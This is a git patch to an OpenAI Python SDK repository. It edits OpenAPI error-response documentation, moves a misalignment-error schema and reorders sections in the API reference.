+ description: The API key lacks the required permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
'404':
description: The requested session or event was not found.
content:
@@ -27918,6 +32403,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
'404':
description: The requested session or event was not found.
content:
@@ -28638,6 +33129,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/WebhookEndpointListResource'
+ '400':
+ description: The request parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The pagination cursor does not identify a webhook endpoint in the authenticated project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
post:
@@ -28657,6 +33160,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/WebhookEndpointWithSecretResource'
+ '400':
+ description: The webhook endpoint parameters are invalid or the endpoint cannot be created with the requested URL or event types.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
/webhook_endpoints/{webhook_endpoint_id}:
@@ -28679,6 +33188,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/WebhookEndpointBody'
+ '400':
+ description: The request parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The webhook endpoint was not found in the authenticated project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
post:
@@ -28705,6 +33226,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/WebhookEndpointBody'
+ '400':
+ description: The webhook endpoint parameters are invalid or the requested URL or event types are not permitted.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The webhook endpoint was not found in the authenticated project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
delete:
@@ -28726,6 +33259,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedWebhookEndpointResource'
+ '400':
+ description: The request parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The webhook endpoint was not found in the authenticated project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
/webhook_endpoints/{webhook_endpoint_id}/rotate_secret:
@@ -28753,6 +33298,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/WebhookEndpointWithSecretResource'
+ '400':
+ description: The request parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The webhook endpoint was not found in the authenticated project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
/webhook_endpoints/{webhook_endpoint_id}/test:
@@ -28780,6 +33337,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/WebhookEndpointTestResultResource'
+ '400':
+ description: The request parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The webhook endpoint was not found in the authenticated project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: The sample event could not be sent to the webhook endpoint.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
/webhook_event_types:
@@ -28795,6 +33370,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/WebhookEventTypeListResource'
+ '401':
+ description: The request does not contain authentication credentials.
+ headers:
+ WWW-Authenticate:
+ description: The bearer authentication challenge returned by the service.
+ schema:
+ type: string
+ example: Bearer realm="OpenAI API"
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
/responses?beta=true:
@@ -28827,6 +33414,18 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/BetaResponseStreamEvent'
+ '400':
+ description: Invalid response request or incompatible request parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/BetaErrorResponse'
+ '404':
+ description: The requested model or a referenced resource was not found or is unavailable to this caller.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/BetaErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
'503':
@@ -30096,6 +34695,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/BetaResponse'
+ '404':
+ description: The response was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/BetaErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -30213,7 +34818,7 @@ paths:
content:
application/json:
schema:
- $ref: '#/components/schemas/BetaError'
+ $ref: '#/components/schemas/BetaErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -30285,7 +34890,7 @@ paths:
content:
application/json:
schema:
- $ref: '#/components/schemas/BetaError'
+ $ref: '#/components/schemas/BetaErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -30393,6 +34998,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/BetaCompactResource'
+ '400':
+ description: Invalid compaction request or incompatible input parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/BetaErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
'503':
@@ -30598,6 +35209,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/BetaResponseItemList'
+ '404':
+ description: The response or the item specified by `after` was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/BetaErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -30676,6 +35293,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/BetaTokenCountsResource'
+ '400':
+ description: The request to count input tokens is invalid or contains incompatible parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/BetaErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -66730,6 +71353,36 @@ components:
"type": "safety.warning_issued",
"data": {"id": "C-abc123"}
}
+ _MisalignmentErrorType:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - potentially_unintended_data_transfer
+ - potentially_unintended_data_access
+ - potentially_unintended_destructive_activity
+ - other
+ _MisalignmentSteer:
+ properties:
+ message:
+ type: string
+ description: The public continuation instruction.
+ type: object
+ required:
+ - message
+ MisalignmentErrorDetailsResource:
+ properties:
+ error_type:
+ $ref: '#/components/schemas/_MisalignmentErrorType'
+ description: An optional classification; clients must accept additional values.
+ detailed_explanation:
+ type: string
+ description: The public explanation for this block.
+ steer:
+ $ref: '#/components/schemas/_MisalignmentSteer'
+ description: An optional public continuation instruction.
+ type: object
+ required: []
ModerationInputType:
type: string
enum:
@@ -70206,36 +74859,6 @@ components:
- object
- metadata
- created_at
- _MisalignmentErrorType:
- anyOf:
- - type: string
- - type: string
- enum:
- - potentially_unintended_data_transfer
- - potentially_unintended_data_access
- - potentially_unintended_destructive_activity
- - other
- _MisalignmentSteer:
- properties:
- message:
- type: string
- description: The public continuation instruction.
- type: object
- required:
- - message
- MisalignmentErrorDetailsResource:
- properties:
- error_type:
- $ref: '#/components/schemas/_MisalignmentErrorType'
- description: An optional classification; clients must accept additional values.
- detailed_explanation:
- type: string
- description: The public explanation for this block.
- steer:
- $ref: '#/components/schemas/_MisalignmentSteer'
- description: An optional public continuation instruction.
- type: object
- required: []
ImageGenOutputTokensDetails:
properties:
image_tokens:
@@ -89139,6 +93762,13 @@ components:
anyOf:
- type: string
- $ref: '#/components/schemas/ChatModel'
+ BetaErrorResponse:
+ type: object
+ properties:
+ error:
+ $ref: '#/components/schemas/BetaError'
+ required:
+ - error
BetaError:
type: object
properties:
From 6e7a90f18b92dcf320e94b1edf98187568ac6fbd Mon Sep 17 00:00:00 2001
From: Marcus Wood
Date: Tue, 22 Sep 2026 01:39:47 +0000
Subject: [PATCH 191/341] fix(api): preserve model choices and defer error
response docs (#3931)
## Summary
Preserves legacy model choices and rolls back unreleased error-response
documentation without changing Python exception behavior.
## Changes
- Preserve gpt-5.1-mini and existing audio model choices; this does not
imply model availability.
- Remove the recently added error-status, error-envelope, and
retry-header documentation pending further review.
- Keep existing Python exception types and decoding behavior unchanged.
Co-authored-by: marcuswood-oai <323319819+marcuswood-oai@users.noreply.github.com>
---
.castiron.stats.yml | 14 +-
api.md | 54 +-
api_reference/openapi.transformed.yml | 4709 +----------------
.../resources/admin/organization/__init__.py | 24 +-
.../admin/organization/external_storage.py | 16 +-
.../admin/organization/organization.py | 48 +-
.../resources/beta/responses/responses.py | 12 +
src/openai/resources/responses/responses.py | 2 +
src/openai/resources/safety/__init__.py | 24 +-
src/openai/resources/safety/safety.py | 48 +-
src/openai/types/beta/beta_response.py | 1 +
.../types/beta/beta_responses_client_event.py | 1 +
.../beta/beta_responses_client_event_param.py | 1 +
.../types/beta/response_compact_params.py | 1 +
.../types/beta/response_create_params.py | 1 +
.../responses/response_compact_params.py | 1 +
src/openai/types/shared/chat_model.py | 1 +
src/openai/types/shared_params/chat_model.py | 1 +
18 files changed, 181 insertions(+), 4778 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 0c05a312fe..201a0a40c4 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 3302daca-12b8-44d9-9ee3-dff23b6c8cd4
-openapi_spec_hash: 662efe7cf7d92cb2a9e77bef4bfbe722
-openapi_transformed_spec_hash: 8d8bd62278396a9cdfbbb49177613b11
-config_hash: e9f2f75046b7218f4e0d78f7db7b7909
-codegen_sha: ca034bfdf2e2c00f76d152f1eef154a2825d1d67
-codegen_hash: 7d4da50897149f4eab2fa63ac3dbc972694c6dfeb79a01531da408010bff5dcd
-public_codegen_sha: d97ff2bcd11f6cac7432b0d90ac8aac292c03a94
+generation_id: c4a244c7-627d-4a8f-af05-30a24293e753
+openapi_spec_hash: 3a0031a277862428a7586125d5cec8c8
+openapi_transformed_spec_hash: 951060c87157ffcd2b99d6ec617d2f6b
+config_hash: 18f602826c88bad76c6fdf08ab67247a
+codegen_sha: db6da626ba89030cc5028be84182cfe435e58153
+codegen_hash: 18f31bca2b47a4635831babef446409eb6eccf6db702432e4a9cd0c0226a8b6b
+public_codegen_sha: f85015561af80beec73f1c34169d9e502399d3a8
diff --git a/api.md b/api.md
index dd48a632c8..fb2f91789f 100644
--- a/api.md
+++ b/api.md
@@ -451,29 +451,29 @@ Methods:
# Safety
-## Alerts
+## Cases
Types:
```python
-from openai.types.safety import SafetyAlert
+from openai.types.safety import SafetyCase
```
Methods:
-- client.safety.alerts.retrieve(id) -> SafetyAlert
+- client.safety.cases.retrieve(id) -> SafetyCase
-## Cases
+## Alerts
Types:
```python
-from openai.types.safety import SafetyCase
+from openai.types.safety import SafetyAlert
```
Methods:
-- client.safety.cases.retrieve(id) -> SafetyCase
+- client.safety.alerts.retrieve(id) -> SafetyAlert
# [Webhooks](src/openai/resources/webhooks/api.md)
@@ -1299,27 +1299,6 @@ Methods:
## Organization
-### ExternalStorage
-
-Types:
-
-```python
-from openai.types.admin.organization import (
- AwsExternalStorageProvider,
- AzureExternalStorageProvider,
- ExternalStorageConfiguration,
- ExternalStorageDeleted,
-)
-```
-
-Methods:
-
-- client.admin.organization.external_storage.create(\*\*params) -> ExternalStorageConfiguration
-- client.admin.organization.external_storage.retrieve(external_storage_id) -> ExternalStorageConfiguration
-- client.admin.organization.external_storage.list(\*\*params) -> SyncCursorPage[ExternalStorageConfiguration]
-- client.admin.organization.external_storage.delete(external_storage_id) -> ExternalStorageDeleted
-- client.admin.organization.external_storage.validate(external_storage_id) -> ExternalStorageConfiguration
-
### AuditLogs
Types:
@@ -1521,6 +1500,27 @@ Methods:
- client.admin.organization.data_retention.retrieve() -> OrganizationDataRetention
- client.admin.organization.data_retention.update(\*\*params) -> OrganizationDataRetention
+### ExternalStorage
+
+Types:
+
+```python
+from openai.types.admin.organization import (
+ AwsExternalStorageProvider,
+ AzureExternalStorageProvider,
+ ExternalStorageConfiguration,
+ ExternalStorageDeleted,
+)
+```
+
+Methods:
+
+- client.admin.organization.external_storage.create(\*\*params) -> ExternalStorageConfiguration
+- client.admin.organization.external_storage.retrieve(external_storage_id) -> ExternalStorageConfiguration
+- client.admin.organization.external_storage.list(\*\*params) -> SyncCursorPage[ExternalStorageConfiguration]
+- client.admin.organization.external_storage.delete(external_storage_id) -> ExternalStorageDeleted
+- client.admin.organization.external_storage.validate(external_storage_id) -> ExternalStorageConfiguration
+
### SpendLimit
Types:
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index b618d0d093..cb49098155 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -604,37 +604,8 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/CreateSpeechResponseStreamEvent'
- '400':
- description: Invalid speech request, input, output format, or voice.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '401':
- description: Authentication failed because the API key is missing or revoked, or the client IP is not authorized.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- text/plain:
- schema:
- type: string
- description: JSON-encoded error text containing an error object and the HTTP status.
- '403':
- description: Access to a personal API organization is blocked by the organization policy.
- content:
- text/plain:
- schema:
- type: string
- description: JSON-encoded error text containing an error object and the HTTP status.
'429':
$ref: '#/components/responses/InferenceRateLimited'
- '500':
- description: The voice or speech audio could not be processed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -747,49 +718,8 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/CreateTranscriptionResponseStreamEvent'
- '400':
- description: Invalid audio input or request parameters.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '401':
- description: Authentication failed because the API key is missing or revoked, or the client IP is not authorized.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- text/plain:
- schema:
- type: string
- description: JSON-encoded error text containing an error object and the HTTP status.
- '403':
- description: Access to a personal API organization is blocked by the organization policy.
- content:
- text/plain:
- schema:
- type: string
- description: JSON-encoded error text containing an error object and the HTTP status.
- '413':
- description: The audio request exceeds the supported size limit.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
- '500':
- description: The audio could not be processed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '502':
- description: The upstream audio service connection failed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -1341,49 +1271,8 @@ paths:
- $ref: '#/components/schemas/CreateTranslationResponseVerboseJson'
x-stainless-skip:
- go
- '400':
- description: Invalid audio input or request parameters.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '401':
- description: Authentication failed because the API key is missing or revoked, or the client IP is not authorized.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- text/plain:
- schema:
- type: string
- description: JSON-encoded error text containing an error object and the HTTP status.
- '403':
- description: Access to a personal API organization is blocked by the organization policy.
- content:
- text/plain:
- schema:
- type: string
- description: JSON-encoded error text containing an error object and the HTTP status.
- '413':
- description: The audio request exceeds the supported size limit.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
- '500':
- description: The audio could not be processed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '502':
- description: The upstream audio service connection failed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -1459,18 +1348,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VoiceConsentResource'
- '400':
- description: Invalid consent recording or consent phrase.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The endpoint is unavailable to this caller.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: audio
examples:
@@ -1511,18 +1388,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VoiceConsentListResource'
- '400':
- description: Invalid pagination parameters.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The endpoint is unavailable or the pagination cursor was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: audio
examples:
@@ -1551,18 +1416,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VoiceConsentResource'
- '400':
- description: Invalid consent recording ID.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The endpoint is unavailable or the consent recording was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: audio
examples:
@@ -1596,18 +1449,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VoiceConsentResource'
- '400':
- description: Invalid consent recording ID or update.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The endpoint is unavailable or the consent recording was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: audio
examples:
@@ -1640,18 +1481,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VoiceConsentDeletedResource'
- '400':
- description: Invalid consent recording ID.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The endpoint is unavailable or the consent recording was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: audio
examples:
@@ -1680,24 +1509,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VoiceResource'
- '400':
- description: Invalid voice request, consent recording, or audio sample.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The endpoint is unavailable or the consent recording was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: The audio sample could not be processed or the voice could not be created.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: audio
examples:
@@ -1729,30 +1540,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Batch'
- '400':
- description: The request is invalid or the account cannot create a batch.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The request was rejected because a rate limit was exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: An internal error prevented the batch from being created.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '503':
- description: The batch could not be created because the service is temporarily unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: batch
examples:
@@ -1850,24 +1637,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListBatchesResponse'
- '400':
- description: Invalid pagination parameters.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: No batch was found with the specified pagination cursor.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The request was rejected because a rate limit was exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: batch
examples:
@@ -1955,24 +1724,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Batch'
- '400':
- description: Invalid batch ID.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: No batch was found with the specified ID.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The request was rejected because a rate limit was exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: batch
examples:
@@ -2049,30 +1800,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Batch'
- '400':
- description: Invalid batch ID.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: No batch was found with the specified ID.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '409':
- description: The batch's current status does not allow cancellation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The request was rejected because a rate limit was exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: batch
examples:
@@ -2184,20 +1911,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ChatCompletionList'
- '400':
- description: Invalid pagination or filter parameters.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- $ref: '#/components/responses/TooManyRequests'
- '500':
- description: An internal error prevented the request from being completed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chat
path: list
@@ -2299,43 +2012,8 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/CreateChatCompletionStreamResponse'
- '400':
- description: Invalid chat completion request or incompatible request parameters.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '401':
- description: Authentication failed because the API key is missing or revoked, or the client IP is not authorized.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- text/plain:
- schema:
- type: string
- description: JSON-encoded error text containing an error object and the HTTP status.
- '403':
- description: Access to a personal API organization is blocked by the organization policy.
- content:
- text/plain:
- schema:
- type: string
- description: JSON-encoded error text containing an error object and the HTTP status.
- '404':
- description: The requested model or a referenced resource was not found or is unavailable to this caller.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
- '500':
- description: The chat completion could not be processed due to an internal error.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -3162,20 +2840,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/CreateChatCompletionResponse'
- '404':
- description: No stored chat completion was found with the specified ID.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- $ref: '#/components/responses/TooManyRequests'
- '500':
- description: An internal error prevented the request from being completed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chat
examples:
@@ -3264,26 +2928,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/CreateChatCompletionResponse'
- '400':
- description: Invalid metadata update.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: No stored chat completion was found with the specified ID.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- $ref: '#/components/responses/TooManyRequests'
- '500':
- description: An internal error prevented the request from being completed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chat
examples:
@@ -3363,20 +3007,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ChatCompletionDeleted'
- '404':
- description: No stored chat completion was found with the specified ID.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- $ref: '#/components/responses/TooManyRequests'
- '500':
- description: An internal error prevented the request from being completed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chat
examples:
@@ -3446,26 +3076,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ChatCompletionMessageList'
- '400':
- description: Invalid message pagination parameters.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: No stored chat completion was found with the specified ID.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- $ref: '#/components/responses/TooManyRequests'
- '500':
- description: An internal error prevented the request from being completed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chat
examples:
@@ -3522,43 +3132,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/CreateCompletionResponse'
- '400':
- description: Invalid completion request or incompatible request parameters.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '401':
- description: Authentication failed because the API key is missing or revoked, or the client IP is not authorized.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- text/plain:
- schema:
- type: string
- description: JSON-encoded error text containing an error object and the HTTP status.
- '403':
- description: Access to a personal API organization is blocked by the organization policy.
- content:
- text/plain:
- schema:
- type: string
- description: JSON-encoded error text containing an error object and the HTTP status.
- '404':
- description: The requested model was not found, is unavailable, or does not support this endpoint.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
- '500':
- description: The completion could not be processed due to an internal error.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -3725,12 +3300,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerListResource'
- '404':
- description: The container specified by `after` was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3780,12 +3349,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerResource'
- '400':
- description: The container configuration or supplied skill is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3852,12 +3415,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerResource'
- '404':
- description: The container was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3896,12 +3453,6 @@ paths:
responses:
'200':
description: OK
- '404':
- description: The container was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3948,18 +3499,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerFileResource'
- '400':
- description: The file input is invalid, or the container file limit would be exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The container was not found or has expired.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -4022,12 +3561,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerFileListResource'
- '404':
- description: The container was not found or has expired, or the file specified by `after` was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -4079,12 +3612,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerFileResource'
- '404':
- description: The container was not found or has expired, or the file was not found in the container.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -4123,12 +3650,6 @@ paths:
responses:
'200':
description: OK
- '404':
- description: The container was not found or has expired, or the file was not found in the container.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -4164,12 +3685,6 @@ paths:
responses:
'200':
description: Success
- '404':
- description: The container was not found or has expired, or the file was not found in the container.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -4229,26 +3744,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationItemList'
- '400':
- description: The items are invalid, are already in the conversation, or the conversation is locked.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The conversation was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The conversation update could not be finalized.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: conversations
path: create-item
@@ -4443,18 +3940,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationItemList'
- '400':
- description: The stored encrypted item content could not be validated.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The conversation or the item specified by `after` was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -4547,12 +4032,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationItem'
- '404':
- description: The conversation or the item in that conversation was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -4629,26 +4108,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationResource'
- '400':
- description: The item cannot be removed while the conversation is locked.
- content:
- application/json:
